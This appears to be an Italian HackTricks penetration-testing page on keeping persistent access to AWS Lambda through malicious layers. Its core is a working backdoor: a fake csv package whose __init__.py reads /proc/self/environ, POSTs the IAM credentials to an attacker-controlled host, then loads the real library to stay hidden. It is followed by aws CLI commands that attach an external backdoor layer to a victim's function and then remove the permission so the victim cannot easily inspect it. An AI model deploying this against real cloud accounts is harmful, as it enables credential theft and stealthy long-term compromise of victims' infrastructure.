AWS - Lambda Layers Persistence

Supporta HackTricks

Lambda Layers

Una Lambda layer è un archivio .zip che può contenere codice aggiuntivo o altro contenuto. Una layer può contenere librerie, un runtime personalizzato, dati o file di configurazione.

È possibile includere fino a cinque layers per funzione. Quando includi una layer in una funzione, i contenuti vengono estratti nella directory /opt nell'ambiente di esecuzione.

Per definizione, le layers che crei sono private al tuo account AWS. Puoi scegliere di condividere una layer con altri account o di rendere la layer pubblica. Se le tue funzioni consumano una layer pubblicata da un altro account, le tue funzioni possono continuare a utilizzare la versione della layer dopo che è stata eliminata, o dopo che il tuo permesso di accesso alla layer è stato revocato. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione di layer eliminata.

Le funzioni distribuite come immagine del contenitore non utilizzano le layers. Invece, impacchetti il tuo runtime preferito, librerie e altre dipendenze nell'immagine del contenitore quando costruisci l'immagine.

Percorso di caricamento Python

Il percorso di caricamento che Python utilizzerà in lambda è il seguente:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Controlla come le seconda e terza posizioni sono occupate da directory dove i lambda layers decomprimono i loro file: /opt/python/lib/python3.9/site-packages e /opt/python

Se un attaccante riesce a backdoor un layer lambda utilizzato o aggiungerne uno che eseguirà codice arbitrario quando una libreria comune viene caricata, sarà in grado di eseguire codice malevolo con ogni invocazione di lambda.

Pertanto, i requisiti sono:

  • Controllare le librerie che sono caricate dal codice delle vittime

  • Creare una libreria proxy con lambda layers che eseguirà codice personalizzato e caricherà la libreria originale.

Librerie pre-caricate

Quando si abusa di questa tecnica ho trovato una difficoltà: Alcune librerie sono già caricate nel runtime di python quando il tuo codice viene eseguito. Mi aspettavo di trovare cose come os o sys, ma anche la libreria json era caricata. Per abusare di questa tecnica di persistenza, il codice deve caricare una nuova libreria che non è caricata quando il codice viene eseguito.

Con un codice python come questo è possibile ottenere la lista delle librerie che sono pre-caricate all'interno del runtime di python in lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

E questa è la lista (controlla che librerie come os o json siano già presenti)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

E questa è la lista delle librerie che lambda include installate per impostazione predefinita: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Backdooring del Lambda Layer

In questo esempio supponiamo che il codice target stia importando csv. Stiamo per backdooring l'importazione della libreria csv.

Per fare ciò, andremo a creare la directory csv con il file __init__.py al suo interno in un percorso che viene caricato da lambda: /opt/python/lib/python3.9/site-packages Poi, quando il lambda viene eseguito e cerca di caricare csv, il nostro file __init__.py verrà caricato ed eseguito. Questo file deve:

  • Eseguire il nostro payload

  • Caricare la libreria csv originale

Possiamo fare entrambe le cose con:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Poi, crea uno zip con questo codice nel percorso python/lib/python3.9/site-packages/__init__.py e aggiungilo come un layer lambda.

Puoi trovare questo codice in https://github.com/carlospolop/LambdaLayerBackdoor

Il payload integrato invierà le credenziali IAM a un server LA PRIMA VOLTA che viene invocato o DOPO un reset del contenitore lambda (cambio di codice o lambda a freddo), ma altre tecniche come le seguenti potrebbero essere integrate:

Layer Esterni

Nota che è possibile utilizzare layer lambda da account esterni. Inoltre, un lambda può utilizzare un layer da un account esterno anche se non ha permessi. Nota anche che il numero massimo di layer che un lambda può avere è 5.

Pertanto, per migliorare la versatilità di questa tecnica, un attaccante potrebbe:

  • Backdoor un layer esistente dell'utente (niente è esterno)

  • Creare un layer nel suo account, dare accesso all'account vittima per utilizzare il layer, configurare il layer nel Lambda della vittima e rimuovere il permesso.

  • Il Lambda sarà ancora in grado di utilizzare il layer e la vittima non avrà alcun modo semplice per scaricare il codice dei layer (a parte ottenere una rev shell all'interno del lambda)

  • La vittima non vedrà i layer esterni utilizzati con aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Supporta HackTricks

Last updated